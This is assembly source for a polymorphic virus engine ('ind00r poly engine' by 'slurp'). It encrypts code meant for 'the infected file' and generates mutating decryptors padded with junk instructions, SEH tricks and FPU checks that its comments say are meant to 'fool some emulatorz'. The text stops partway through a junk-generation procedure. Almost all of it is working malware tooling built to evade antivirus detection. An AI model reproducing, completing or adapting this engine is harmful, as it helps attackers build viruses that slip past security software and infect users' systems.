;            谀夷哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪夷�
;            谀夷哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪夷�
;            弛茁衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣卓�
;            曝呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜�
;            趁着着辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛信着状�
;            称呜蔚 ind00r poly engine (ipe32) v1.0 final 莆匚党
;            趁着着哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪呐着状�
;            称呜蔚                                       莆匚党
;            趁着状          04.01.01 媚� by slurp        米抛闯
;            称呜蔚                                       莆匚党
;            趁着着衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣衣遗着状�
;            曝呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜�
;            忱琢辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛辛踪�
;            滥心哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪心�
;
RANDOM_SEED     equ 0BABAh * 65536 + 0BABEh
MAX_POLY_SIZE   equ 3072
; main procedure: ind00r
; parameters:
;
;                EAX  = size of junk space (in dwords)
;                EDX  = address of junk space
;                哪哪哪哪� this is the RVA of an empty space in (un-
;                         initialized data or padding space). the junk
;                         instructions will write to this area
;                        滥哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪�
;
;                EBX  = address of code to decrypt
;                哪哪哪哪� this is the RVA where the encrypted
;                         code will be stored in the infected file.
;                        滥哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪�
;
;                ECX  = size of code to encrypt (in dwords)
;                ESI � code to encrypt
;                EDI � area >= 2kb to store the decryptor
;
; returns:       the registers aren't changed except ECX that contains
;                the size of the poly decryptor!
;
; NOTE: '�' is equal to 'points to'
;
; the decryptor constists of junk procedures, decryptor procedures, main
; loop calling the procedures and finally jump to the start address to the
; decrypted code.
ind00r          proc
                pushad                           ; preserve all registers
                call  iInit                      ; initialize poly engine
ind00r_delta:   mov   al, JMP_LONG               ; write jump to main loop
                stosb                            ; store opcode
                push  edi                        ; to reloc jmp l8er
                stosd                            ; store relative offset
                call  WriteJunk                  ; write some junk bytez
                call  iGenProcs                  ; generate procedures
                push  edi                        ; here we want to jump
                call  RelLongJmp                 ; reloc jump to main loop
                or    byte ptr [ebp.nojunk-idelta], 0FFh
                call  iGenLoop                   ; generate main loop
                call  iSEHJump
                sub   edi, [esp.PUSHAD_EDI]      ; calculate decryptor size
                mov   [esp.PUSHAD_ECX], edi      ; ECX = size
                call  iEncrypt                   ; encrypt code!
                popad                            ; restore all registers
                ret                              ; return
ind00r          endp
; main procedure: init
iInit           proc
                ; first of all, calculate new delta offset
                mov   ebp, [esp]
                add   ebp, idelta - offset ind00r_delta ; calculate delta
                                                        ; offset
                ; now init random seed
                push  dword ptr [ebp.RandomConst-idelta]
                pop   dword ptr [ebp.RandomSeed-idelta]

                push  edi                   ; push destination index
                lea   edi, [ebp.InitValues-idelta] ; table with init values

                ; let's store parameterz
                stosd                       ; store size of junk space
                xchg  eax, edx
                stosd                       ; store address of junk space
                xchg  eax, ebx
                stosd                       ; store decrypt rva
                xchg  eax, ecx
                stosd                       ; size of code
                xchg  eax, esi
                stosd                       ; address of code

                ; mix the registers
                lea   esi, [ebp.preg-idelta]
                push  USED_REGS
                call  MixBytes

                ; get number of junk procedures (1 - 5)
                push  JUNK_PROCS      ; 0 - 3
                call  rnd32r
                add   al, MIN_PROCS
                mov   [ebp.ProcCount-idelta], al   ; number of procedures

                ; put the procedures in random order
                lea   esi, [ebp.ProcedureOrder-idelta]
                push  eax
                call  MixBytes

                ; put procedure calls in random order
                lea   esi, [ebp.CallOrder1-idelta]
                push  CALL_ORDER_1
                call  MixBytes

                lea   esi, [ebp.CallOrder2-idelta]
                mov   ecx, eax
                sub   al, CALL_ORDER_2 + 1
                push  eax
                call  MixBytes

                ; get random parameter count for each procedure
                lea   edi, [ebp.ProcParameters-idelta]
                mov   cl, MAX_PROCS
i_par_loop:     push  MAX_PARAMS + 03h       ;   0 - MAX_PARAMS + 2
                call  rnd32r
                sub   al, 02h
                jnc   i_lamest
                xor   eax, eax
i_lamest:       stosb
                loop  i_par_loop
                xor   eax, eax
                stosb

                ; get random key, encryption & key increment type
                lea   edi, [ebp.CryptKey-idelta]
                call  rnd32
                stosd                        ; write key
                call  rnd32
                stosd                        ; write key increment
                push  ENC_RND
                call  rnd32r
                stosb                        ; write encryption type
                push  KEY_RND
                call  rnd32r
                stosb                        ; write key increment type
                pop   edi                    ; pop destination index
                and   word ptr [ebp.InLoop-idelta], 00h
                ret
iInit           endp
; main procedure: encrypt
iEncrypt        proc
                pushad
                lea   esi, [ebp.CryptSize-idelta]
                lodsd                   ; CryptSize
                xchg  eax, ebx
                lodsd                   ; EncryptRVA
                xchg  eax, edi
                lodsd                   ; CryptKey
                xchg  eax, ecx
                lodsd                   ; KeyIncrement
                xchg  eax, edx

encrypt_loop:   mov   al, [ebp.CryptType-idelta] ; get encryption type
                cmp   al, ENC_XOR         ; XOR encryption?
                jnz   ie_not_xor          ; no, check next
                xor   [edi], ecx          ; yes, XOR [preg], key
ie_not_xor:     cmp   al, ENC_ADD         ; ADD decryption?
                jnz   ie_not_add          ; no, check next
                sub   [edi], ecx          ; yes, SUB [preg], key
ie_not_add:     cmp   al, ENC_SUB         ; SUB decryption?
                jnz   ie_not_sub          ; no, check next
                add   [edi], ecx          ; yes, ADD [preg, key
ie_not_sub:     cmp   al, ENC_ROL         ; ROL decryption?
                jnz   ie_not_rol          ; no, check next
                ror   dword ptr [edi], cl ; rotate dword
ie_not_rol:     cmp   al, ENC_ROR         ; ROR decryption?
                jnz   ie_not_ror          ; no, jmp to key increment
                rol   dword ptr [edi], cl ; rotate dword
ie_not_ror:     xchg  ecx, edx
                mov   al, [ebp.KeyIncType-idelta] ; get key increment type
                cmp   al, KEY_ROL         ; ROL key increment?
                jnz   ie_n_rol            ; no, check next
                rol   edx, cl             ; rotate key
ie_n_rol:       cmp   al, KEY_ROR         ; ROR key increment?
                jnz   ie_n_ror            ; no, check next
                ror   edx, cl             ; rotate key
ie_n_ror:       cmp   al, KEY_INC         ; ADD key increment?
                jnz   ie_n_inc            ; no, check next
                add   edx, ecx            ; increment key
ie_n_inc:       cmp   al, KEY_DEC         ; SUB key increment?
                jnz   ie_n_dec            ; no
                sub   edx, ecx            ; decrement key
ie_n_dec:       xchg  ecx, edx
                scasd                     ; increment pointer by 4
                dec   ebx
                jnz   encrypt_loop
                popad
                ret
iEncrypt        endp
; main generator: generate procedure body and some junk around the real
;                 instructions.
iGenProcs       proc
                ; get number of procedures into counter
                movzx ecx, byte ptr [ebp.ProcCount-idelta]
                xor   ebx, ebx  ; set up another counter that counts from 0

                ; for choosin' procedures
                call  rnd32
                xchg  dh, al

gp_loop:        push  ecx
                ; getting number of current procedure
                push  ebx
                movzx ebx, byte ptr [ebp.ProcedureOrder-idelta+ebx]
                                                    ; ID # of 1st procedure
                mov   [ebp.CurrentProc-idelta], bl  ; for junk gen to
                                                    ; identify current proc
                ; store procedure address
                mov   [ebp.ProcAddress-idelta+4*ebx], edi

                ; get number of parameters
                mov   dl, [ebp.ProcParameters-idelta+ebx]
                test  dl, dl                  ; if no parameter,
                jz    gp_np_entry             ; generate no entry
                ; if procedure has parameters we need to set up EBP
                ; choose between two (similar) entrys:
                ;       ENTER 0000h,00h
                ;             or
                ;       PUSH  EBP
                ;       MOV   EBP, ESP
                test  dh, 01h
                jz    gp_psh_entry
                xor   eax, eax                ; no local variables
                mov   al, PROC_ENTER          ; opcode for enter
                stosd                         ; store instruction
                jmp   gp_np_entry
gp_psh_entry:   mov   eax, PUSH_REG or REG_EBP or (100h * MOV_EBP_ESP)
                stosd
                dec   edi                     ; wrote 3 bytes
gp_np_entry:    push  ebx
                call  iProcJunk
                pop   ebx
                cmp   ebx, JUNK_PROC
                jnb   gp_junk_proc
                mov   esi, [ebp.Generatorz-idelta+ebx*4]
                add   esi, ebp
                push  edx
                call  esi                     ; call di generator
                pop   edx
gp_junk_proc:   call  iProcJunk               ; make some junk

                mov   eax, edx
                xor   ah, ah
                shl   eax, 08h xor 02h        ; shift left one byte + * 4
                xor   al, PROC_RETP           ; generate ret (with params)
                test  ah, ah                  ; do we have parameters?
                jz    gp_no_par

                mov   byte ptr [edi], POP_REG or REG_EBP
                test  dh, 01h
                jz    gp_psh_exit
                xor   byte ptr [edi], PROC_LEAVE xor (POP_REG or REG_EBP)
gp_psh_exit:    inc   edi                       ; write pop ebp/leave

                stosd                           ; store RET opcode (C2h)
                dec   edi                       ; only store 3 bytes
                jmp   gp_par
gp_no_par:      inc   eax
                stosb                           ; store RET opcode (C3h)

gp_par:         call  WriteJunk

                pop   ebx
                inc   ebx                       ; increment count
                pop   ecx
                loop  gp_loop
                ret
iGenProcs       endp
; generates main loop with some junk between callz.
iGenLoop        proc
                or    byte ptr [ebp.InLoop-idelta], 01h
                lea   esi, [ebp.CallOrder1-idelta]
                movsx ecx, byte ptr [ebp.ProcCount-idelta]
                or    byte ptr [ebp.CurrentProc-idelta], 0FFh
gl_call_lp:     xor   eax, eax
                lodsb                           ; get numbah of proc
                xchg  eax, ebx
                inc   byte ptr [ebp.CurrentProc-idelta]
                cmp   byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA
                jne   gl_yxcmv
                push  edi
gl_yxcmv:
                push  ecx
                movsx ecx, byte ptr [ebp.ProcParameters-idelta+ebx]
                push  ebx
                test  ecx, ecx                  ; 0 parameterz?
                jz    gl_no_par                 ; don't loop
gl_push_lp:
                call  iPushJunk
                loop  gl_push_lp
gl_no_par:
                pop   ebx
                mov   edx, [ebp.ProcAddress-idelta+4*ebx]
                mov   byte ptr [edi], CALL_DIRECT ; write call opcode
                inc   edi
                neg   edi
                lea   eax, [edx+edi-04h]
                neg   edi
                stosd
                pop   ecx                       ; outer loop counter
                loop  gl_call_lp
                mov   bl, [ebp.creg-idelta]    ; generate check if counter
                call  gCheckReg                ; reg is zero
                mov   ax, ESC_2BYTE xor ((JMPC_LONG xor COND_NE) * 100h)
                stosw                            ; generate JNZ
                pop   eax
                neg   edi
                lea   eax, [eax+edi-04h]         ; eax = eax - (edi + 04h)
                neg   edi
                stosd                            ; store jump offset
                ret
iGenLoop        endp
; generate jump to code
iSEHJump        proc
                mov   edx, [ebp.DecryptRVA-idelta] ; where to jump after
                                                   ; decryption

                ; 1. let's put offset to code on stack

                call  rnd32
                test  al, 01h
                jz    isj_npd

                ; generate PUSH offset CODE
                mov   al, PUSH_IMM                 ; push 32-bit immediate
                stosb
                xchg  eax, edx
                stosd                              ; immediate value
                jmp   isj_npd0

                ; load reg with value and push reg
isj_npd:        call  rnd32
                and   al, REG_EDI
                cmp   al, REG_ESP
                je    isj_npd
                xchg  eax, ebx
                push  ebx
                call  gLoadReg
                pop   eax
                xor   al, PUSH_REG
                stosb

                ; 2. let's clear a reg to index fs:[0]

isj_npd0:       ; get a random register & clear it
                call  rnd32
                and   al, REG_EDI
                cmp   al, REG_ESP
                je    isj_npd0
                mov   ebx, eax
                call  gClearReg
                xchg  eax, ecx

                ; 3. put da old handler on stack

                mov   al, OVERRIDE_FS
                stosb
                xor   ch, ch
                xor   esi, esi
                call  rnd32
                test  al, 01h
                jz    isj_dir
                mov   bh, OPTYPE_MOV
                call  rnd32
                and   al, 02h
                add   bh, al
isj_gnr:        call  rnd32
                and   al, REG_EDI
                cmp   al, cl
                je    isj_gnr
                mov   bl, al
                mov   al, OPSIZE_32
                mov   ah, REG_MEM
                call  ciOpRMReg
                xchg  eax, ebx
                xor   al, PUSH_REG
                stosb
                jmp   isj_dir0
isj_dir:        mov   al, OP_GROUP5
                stosb
                mov   bl, P_PUSH
                call  ciCreateOperand
isj_dir0:
                ; 4. now set new handler to ESP

                mov   al, OVERRIDE_FS
                stosb
                mov   bx, REG_ESP xor (OPTYPE_MOV * 100h)
                mov   ax, OPSIZE_32 xor (MEM_REG * 100h)
                call  ciOpRMReg

                ; 5. let's create some junk that causes exception

                push  03h
                pop   ecx
ex_junk_loop:   push  ecx
                push  OPTYPE_CMP
                call  rnd32r
                xchg  eax, ebx
                call  rnd32
                test  al, 01h
                jz    isj_suck
                mov   bh, bl
                call  rnd32
                and   al, REG_EDI
                mov   bl, al
                push  03h
                call  rnd32r
                mov   ah, MEM_REG
                call  ciOpRMReg
                jmp   isj_suck0
isj_suck:       call  rnd32
                xchg  eax, edx
                push  03h
                call  rnd32r
                call  ciOpRMImm

isj_suck0:      pop   ecx
                loop  ex_junk_loop
                ret
iSEHJump        endp
; load start RVA into pointer register
iProcLdPtr      proc
                mov   edx, [ebp.DecryptRVA-idelta]
                mov   bl, [ebp.preg-idelta]
                jmp   gLoadReg
iProcLdPtr      endp
; load size into counter register
iProcLdCnt      proc
                mov   edx, [ebp.CryptSize-idelta]
                mov   bl, [ebp.creg-idelta]
                jmp   gLoadReg
iProcLdCnt      endp
; load key into key register
iProcLdKey      proc
                mov   edx, [ebp.CryptKey-idelta]
                mov   bl, [ebp.kreg-idelta]
                jmp   gLoadReg
iProcLdKey      endp
; decrypt data word
iProcDecData    proc
                mov   cl, [ebp.preg-idelta]  ; operand = ptr reg
                call  rnd32                  ; get random bit
                mov   bl, 08h
                cmp   byte ptr [ebp.CryptType-idelta], ENC_SUB
                jbe   dd_not_chk_ecx
                cmp   cl, REG_ECX
                jne   dd_not_chk_ecx
                or    al, 01h                ; set 1st bit
dd_not_chk_ecx:
                test  al, 01h            ; is it zero?
                jz    blaaah             ; yes, use direct encryption

                ; create MOV/XCHG junkreg, [preg] (indirect encryption)

dd_get_jnk_reg: call  iGetJunkReg
                cmp   al, REG_ECX            ; is it ECX?
                je    dd_get_jnk_reg         ; yes, use other junk reg
                mov   bl, al
                xor   al, MOD_REG
                push  eax                    ; push code reg for later use
                mov   bh, OPTYPE_MOV         ; generate MOV
                call  rnd32                  ; random numbah
                and   al, 02h
                add   bh, al                 ; zero, use MOV
                                             ; non-zero, use XCHG
                xor   esi, esi               ; no displacement
                mov   al, OPSIZE_32          ; dword, of course
                mov   ah, REG_MEM            ; from memory to register
                call  ciOpRMReg
                pop   ecx
                call  iBlockJunkAR
blaaah:
                ; test for encryption type
                mov   al, [ebp.CryptType-idelta]
                cmp   al, ENC_XOR
                jnz   dd_not_xor
                mov   bh, OPTYPE_XOR   ; generate XOR jreg/[preg], kreg
dd_not_xor:     cmp   al, ENC_ADD
                jnz   dd_not_add
                mov   bh, OPTYPE_ADD   ; generate ADD jreg/[preg], kreg
dd_not_add:     cmp   al, ENC_SUB
                jnz   dd_not_sub
                mov   bh, OPTYPE_SUB   ; generate SUB jreg/[preg], kreg

dd_not_sub:     ja    dd_rotate        ; generate ROR/ROL jreg/[preg], kreg
                push  ecx
                mov   al, OPSIZE_32
                mov   ah, MEM_REG
                mov   bl, [ebp.kreg-idelta]
                xor   ch, ch
                xor   esi, esi
                call  ciOpRMReg
                jmp   dd_exit


dd_rotate:      push  ecx              ; code reg/pointer reg
                push  eax
                push  ecx

                ; we'll generate
                ;
                ; shift on [preg]:
                ;
                ;    push  ecx                 (only if kreg <> ECX)
                ;    mov   ecx, kreg           (  "  "    "   "  " )
                ;    ror   [preg], cl          (rol/ror)
                ;    pop   ecx                 (only if kreg <> ECX)
                ;
                ;
                ; shift on junkreg:  (this variant is forced if preg = ECX)
                ;
                ;    mov   junkreg, [preg]     (xchg/mov)
                ;    push  ecx                 (only if kreg <> ECX)
                ;    mov   ecx, kreg
                ;    ror   junkreg, cl         (rol/ror)
                ;    pop   ecx
                ;    mov   [preg], junkreg     (xchg/mov)
                ;
                ; junkreg must not be ECX

                mov   al, [ebp.kreg-idelta]    ; load key register

                cmp   al, REG_ECX              ; ECX?
                jz    dd_no_push               ; yes, no need to push ecx

                or    al, MOD_REG
                xchg  eax, ecx

                push  REG_ECX
                call  iIsJReg
                cmp   eax, 0FFFFFFFFh
                jnz   dd_ecx_isj

                mov   al, PUSH_REG xor REG_ECX ; generate PUSH ECX
                stosb                          ; store opcode
                pop   ebx
                call  iBlockJunkAR
                push  ebx
dd_ecx_isj:     xchg  eax, edx

                mov   bx, REG_ECX xor (OPTYPE_MOV * 100h) xor MOD_REG
                call  rnd32
                mov   al, OPSIZE_32
                and   ah, REG_MEM
                jnz   dd_nxchg
                xchg  bl, cl
dd_nxchg:
                call  ciOpRMReg                ; generate mov ecx, kreg

dd_askdjh:      call  iGetJunkReg
                pop   ebx
                push  ebx
                and   ebx, REG_EDI
                cmp   eax, ebx
                je    dd_askdjh
                cmp   al, REG_ECX
                je    dd_askdjh
                xchg  eax, ebx
                call  iRndJunk
dd_no_push:
                pop   ecx
                pop   eax

                mov   bl, ROR_SHIFT            ; shift type ROR
                cmp   al, ENC_ROR              ; is it ROR?
                jz    dd_enc_ror               ; yes, skip
                dec   ebx                      ; decrement shift type (ROL)
dd_enc_ror:
                mov   al, OPSIZE_32
                mov   bh, SHIFT_CL
                xor   ch, ch                   ; no SIB addressin'
                xor   esi, esi
                call  ciShiftRM

                xchg  eax, edx
                cmp   al, PUSH_REG xor REG_ECX
                jnz   dd_no_pop
                pop   ebx
                push  ebx
                and   ebx, REG_EDI
                call  iBlockJunkAR
                xor   al, PUSH_REG xor POP_REG
                stosb
dd_no_pop:

dd_exit:        pop   ebx                      ; pop code/ptr reg
                mov   eax, ebx
                and   al, MOD_REG
                xor   al, MOD_REG
                jnz   dd_not_save_reg
                and   ebx, REG_EDI
                call  iBlockJunkAR
                mov   cl, [ebp.preg-idelta]
                mov   bh, OPTYPE_MOV
                call  rnd32
                and   al, 02h
                add   bh, al
                mov   ax, OPSIZE_32 or (MEM_REG * 100h)
                xor   ch, ch
                xor   esi, esi
                call  ciOpRMReg
dd_not_save_reg:
                ret

iProcDecData    endp

; increment key
iProcIncKey     proc
                mov   edx, [ebp.KeyIncrement-idelta] ; load key increment
                call  iGetJunkReg                    ; get random junk reg
                xchg  eax, ecx
                mov   ebx, ecx
                mov   al, [ebp.KeyIncType-idelta] ; get key increment type
                mov   bh, OPTYPE_ADD              ; first assume ADD
                cmp   al, KEY_DEC                 ; check if decrement key
                jnz   pik_not_sub                 ; nope, ADD
                mov   bh, OPTYPE_SUB              ; yes, SUB
pik_not_sub:    ja    pik_rotate                  ; > KEY_DEC: rotate!

                call  rnd32
                test  al, 01h
                jz    pik_direct                  ; don't load reg

                push  ebx
                call  gLoadReg            ; move key increment into reg
                pop   ebx
                call  iBlockJunkAR
                xor   bl, MOD_REG
                mov   cl, [ebp.kreg-idelta]      ; get key reg
                xor   ecx, 0FFFFFF00h xor MOD_REG
                push  02h
                call  rnd32r
                test  eax, eax
                jz    pik_blah
                xchg  bl, cl
pik_blah:
                mov   ah, al
                mov   al, OPSIZE_32
                jmp   ciOpRMReg                  ; create instruction
pik_direct:
                mov   al, OPSIZE_32
                mov   bl, bh
                mov   cl, [ebp.kreg-idelta]
                or    ecx, 0FFFFFF00h xor MOD_REG

                jmp   ciOpRMImm

pik_rotate:     xor   bl, bl                     ; ROL shift
                cmp   al, KEY_ROR
                jnz   pik_not_ror
                inc   ebx                        ; ROR shift

pik_not_ror:    mov   ah, dl
                and   ah, 1Fh
                mov   bh, SHIFT_IMM
                mov   al, OPSIZE_32
                mov   cl, [ebp.kreg-idelta]
                xor   cl, MOD_REG
                call  ciShiftRM
                ret
iProcIncKey     endp
; increment pointer by 4
iProcIncPtr     proc
                push  04h                       ; we have 4 methods
                call  rnd32r                    ; to do so
                mov   cl, [ebp.preg-idelta]
                xor   cl, MOD_REG               ; pointer reg, of course
                push  04h
                pop   edx                       ; mov edx, 4 (optimized :P)
                test  al, al
                jnz   pip_not_add
                mov   bl, OPTYPE_ADD
pip_not_add:    cmp   al, 01h
                jnz   pip_not_sub
                neg   edx
                mov   bl, OPTYPE_SUB
pip_not_sub:    cmp   al, 02h
                jnz   pip_not_adc
                mov   bl, OPTYPE_ADC
                dec   edx
                mov   byte ptr [edi], SET_CRY
                inc   edi
pip_not_adc:    cmp   al, 03h
                jnz   pip_not_lea

                ; generate lea preg, [preg + 04h]
                mov   byte ptr [edi], LOAD_EA
                inc   edi
                and   cl, REG_RND - 1
                mov   bl, cl
                push  esi
                xchg  edx, esi
                xor   ch, ch
                call  ciCreateOperand
                pop   esi
                ret
pip_not_lea:    mov   al, OPSIZE_32
                jmp   ciOpRMImm
                ret
iProcIncPtr     endp
; decrement counter
iProcDecCnt     proc
                push  05h
                call  rnd32r
                mov   cl, [ebp.creg-idelta]
                or    cl, MOD_REG
                xor   edx, edx
                test  al, al
                jnz   pdc_not_dec

                ; generate DEC creg
                mov   al, DEC_REG
                or    al, [ebp.creg-idelta]
                stosb
                ret
pdc_not_dec:    cmp   al, 01h
                jnz   pdc_not_add_FF

                ; generate ADD creg, -1
                mov   bl, OPTYPE_ADD
                dec   edx
pdc_not_add_FF: cmp   al, 02h
                jnz   pdc_not_sbb

                ; generate STC, SBB creg, 0
                mov   byte ptr [edi], SET_CRY
                inc   edi
                mov   bl, OPTYPE_SBB

pdc_not_sbb:    cmp   al, 03h
                jnz   pdc_not_lea
                ; generate LEA creg, [creg - 1]

                mov   byte ptr [edi], LOAD_EA
                inc   edi
                and   cl, REG_RND - 1
                mov   bl, cl
                push  esi
                xor   esi, esi
                dec   esi
                xor   ch, ch
                call  ciCreateOperand
                pop   esi
                ret

pdc_not_lea:    cmp   al, 04h
                jnz   pdc_not_sub
                ; generate SUB creg, 1
                mov   bl, OPTYPE_SUB
                inc   edx

pdc_not_sub:    mov   al, OPSIZE_32
                jmp   ciOpRMImm
iProcDecCnt     endp

; fool some emulatorz
iProcFPUFool    proc

                ; initialize FPU
                mov   eax, FPU_WAIT or (FPU_INIT * 100h) or 'X' * 1000000h
                stosd
                dec   edi

                ; choose random address to store result
                call  iGetWrMem
                push  GF_METHCNT                ; choose between 4 methods
                call  rnd32r
                push  eax
                inc   eax
                mov   edx, eax

                ; store initial value in memory
                mov   al, OPSIZE_32
                mov   bl, OPTYPE_MOV
                call  ciOpRMImm

                call  iRndRegJ

                ; load dword from address into fpu register
                call  rnd32
                and   al, FPU_WORD_LDST
                or    al, FPU_INT_LDST
                mov   bl, FPU_LOAD
                stosb
                call  ciCreateOperand

                ; calculate address of method and execute it!
                pop   eax
                push  eax
                mov   ebx, [ebp.gf_methods-idelta+4*eax]
                add   ebx, ebp
                call  ebx

                ; write back dword from st(0)
                call  iGetWrMem
                call  rnd32
                and   al, FPU_WORD_LDST xor FPU_INT_LDST
                xor   al, FPU_INT_LDST
                mov   bl, FPU_STORE
                stosb
                call  ciCreateOperand
                call  iRndRegJ

                ; check returned value of FPU instructions.

                pop   eax
                push  edi            ; label1 in ECX (see below)
                movzx edx, byte ptr [ebp.gf_rslt_table-idelta+eax]
                push  03h
                call  rnd32r
                add   al, OPTYPE_SUB            ; SUB, CMP or XOR
                xchg  eax, ebx
                xor   al, al
                push  edi
                call  ciOpRMImm

                ; if not equal, generate endless loop (fuck some emulatorz)

                ; generate JZ or JNZ
                pop   ebx
                pop   ecx
                mov   al, ah              ; get another random byte
                test  al, 40h
                jnz   gf_as1              ; not zero, jump after junk
                xchg  ecx, ebx
gf_as1:

                call  rnd32               ; random dword
                and   al, 01h
                jz    gf_el1              ; zero, generate JZ

                ;  jump back before compare instruction or afta
                ;
                ;  label1:       <access mem junk>
                ;  label2:       CMP/SUB/XOR
                ;                JNZ  label2/label3

                xchg  eax, ecx
                mov   byte ptr [edi], JMPC_SHORT xor COND_NZ
                inc   edi
                sub   eax, edi            ; calculate relative offset
                dec   eax                 ; we need to dec rel
                stosb                     ; write relative jmp offset
                ret

gf_el1:
                ;
                ;                JZ   label2/label3
                ;  label1:       <junk>
                ;                JMP  label1
                ;  label2:       <junk>
                ;  label3:
                ;
                xchg  eax, ecx
                mov   byte ptr [edi], JMPC_SHORT xor COND_Z
                inc   edi
                push  edi
                inc   edi
                call  iBlockJunk
                mov   byte ptr [edi], JMP_SHORT
                inc   edi
                sub   eax, edi
                dec   eax
                stosb
                push  edi
                call  iBlockJunk
                mov   ebx, edi
                pop   ecx
                mov   al, ah              ; get another random byte
                test  al, 20h
                jnz   gf_as2
                xchg  ecx, ebx
gf_as2:         xchg  eax, ecx
                pop   eax
                neg   eax
                lea   ebx, [edi+eax-01]
                neg   eax
                mov   [eax], bl

gf_xit:
                ret

gf_rslt_table   db    03h, 07h, 02h, 00h

gf_meth1:       call  rnd32
                and   al, 01h
                jz    gf_meth11
                mov   ax, FPU_LDPI
                stosw
                call  iBlockJunk
                mov   al, FPU_WORD_OP
                stosb
                mov   bl, FPU_MULP
gf_meth1e:      mov   cl, REG_ST1 or MOD_REG
                jmp   ciCreateOperand

gf_meth11:      mov   ax, FPU_LDLG2
                stosw
                call  iBlockJunk
                mov   al, FPU_WORD_OP
                stosb
                mov   bl, FPU_DIVP
                jmp   gf_meth1e

gf_meth2:       mov   ax, FPU_LDL2T
                stosw
                call  iBlockJunk
                mov   al, FPU_DWORD_OP
                stosb
                mov   bl, FPU_MUL
                mov   cl, REG_ST1 or MOD_REG
                jmp   ciCreateOperand


gf_meth3:       mov   ax, FPU_LDLN2
                stosw
                call  iBlockJunk
                mov   ax, FPU_SQRT
                stosw
                mov   al, FPU_QWORD_OP
                stosb
                mov   bl, FPU_MUL
                mov   cl, REG_ST1 or MOD_REG
                call  ciCreateOperand
                mov   ax, FPU_DWORD_LDST or (100h * (MOD_REG xor 09h))
                stosw
                ret

gf_methods      equ   $
                dd    offset gf_meth1-idelta
                dd    offset gf_meth2-idelta
                dd    offset gf_meth3-idelta
GF_METHCNT      equ   3
iProcFPUFool    endp
; main procedure: generate 1-3 different junk blockz
iProcJunk       proc
                push  ecx              ; preserve counter
                push  03h              ; get random number between 0 and 4
                call  rnd32r
                inc   eax              ; add 1 (1 - 3)
                xchg  eax, ecx         ; load into counter
                call  iBlockJunk       ; generate junk blocks
                loop  $ - 05h
                pop   ecx              ; restore counter
                ret
iProcJunk       endp
; main procedure: generate 1 junk block
iBlockJunk      proc
                mov   bl, 08h
iBlockJunkAR:                            ; avoid register in ebx
                test  byte ptr [ebp.nojunk-idelta], 0FFh
                jz    bj_sueder
                ret
bj_sueder:
                pushad
                push  BJ_BLOCKCNT        ; choose between multiple methods
                call  rnd32r
                mov   edx, [ebp.bj_blockz-idelta+4*eax] ; get address of
                add   edx, ebp           ; method procedure & relocate
bj_nxtr:        call  iGetJunkReg        ; get a junk reg
                cmp   al, bl             ; test if we shouldn't touch it
                je    bj_nxtr            ; yes, get another junk reg
                xchg  ebx, eax           ; junk reg in EAX
                call  edx                ; execute method
                mov   [esp], edi
                popad
                ret

                ; junk block 1:
                ; 1. <compare/sub register/memory with constant>
                ; 2. <conditional jump to 4.>
                ; 3. <2 - 4 junk instructions>
                ; 4.
bj_block1:      push  ebx                ; save register 4 l8er use
                mov   dh, bl
                mov   bl, OPTYPE_SUB
                call  rnd32              ; get random number
                and   al, 02h            ; 0/2
                add   bl, al             ; OPTYPE_SUB + 2 = OPTYPE_CMP
                call  rnd32
                and   al, 01h
                mov   dl, al             ; dl = 0/1 (reg/junk)
                test  dl, dl
                jz    bj_b1_nreg1
                call  rnd32
                and   al, REG_EDI        ; 00000xxx random reg
                xor   al, MOD_REG        ; 11000xxx set reg bits
                xchg  eax, ecx
                jmp   bj_b1_nmem1
bj_b1_nreg1:    call  iGetMemory         ; get readable memory
bj_b1_nmem1:    cmp   bl, OPTYPE_SUB     ; if not SUB, get read only
                jnz   bj_b1_nro          ; register or memory
                test  dl, dl
                jz    bj_b1_nreg2
                mov   cl, dh             ; writeable register
                xor   ecx, 0FFFFFF00h xor MOD_REG
                jmp   bj_b1_nro
bj_b1_nreg2:    call  iGetWrMem
bj_b1_nro:      mov   al, bl
                xor   al, MOD_REG
                test  al, MOD_REG
                jz    bj_b1_regalign
                call  iOpSizeMem
                jmp   bj_b1_blah
bj_b1_regalign: call  iOpSizeReg
bj_b1_blah:     push  eax
                call  rnd32
                xchg  eax, edx
                call  rnd32
                test  al, 01h
                jz    bj_b1_akldf
                movsx edx, dl
bj_b1_akldf:    pop   eax
                call  ciOpRMImm
                pop   ebx
                call  rnd32
                and   al, 0Fh            ; get random conditional jump type
                xor   al, JMPC_SHORT     ; make jump opcode
                stosb                    ; store it
                push  edi                ; push address of immediate
                stosb                    ; store placeholder byte
                call  iRndJunk           ; make some junk
                pop   eax
                not   eax
                lea   ebx, [edi+eax]     ; relative address
                not   eax
                mov   [eax], bl          ; store relative jump address
                ret
                ; junk block 2:
                ; 1. <push junk>
                ; 2. <2 - 4 junk instructions>
                ; 3. <pop junk>
bj_block2:      call  iPushJunk
                call  iRndJunk           ; make some junk
                jmp   iPopJunk

bj_block3:      call  rnd32              ; generate STC/CLC/STD/CLD
                and   al, 05h
                xor   al, 0F8h
                stosb
                jmp   iRndJunk

bj_blockz       equ   $
                dd    offset bj_block1 - idelta
                dd    offset bj_block2 - idelta
                dd    offset bj_block3 - idelta
                dd    offset iRndJunk - idelta
                dd    offset iRndJunk - idelta
BJ_BLOCKCNT     equ   05h
iBlockJunk      endp

                ; writes two to four random junk instruction (reg or mem)
iRndJunk        proc
                pushad
                push  03h
                call  rnd32r
                inc   eax
                inc   eax
                xchg  eax, ecx
rndj_loop:      push  JUNKGEN_CNT
                call  rnd32r
                mov   eax, [ebp.JunkGen-idelta+4*eax]
                add   eax, ebp
                push  ecx
                push  ebx
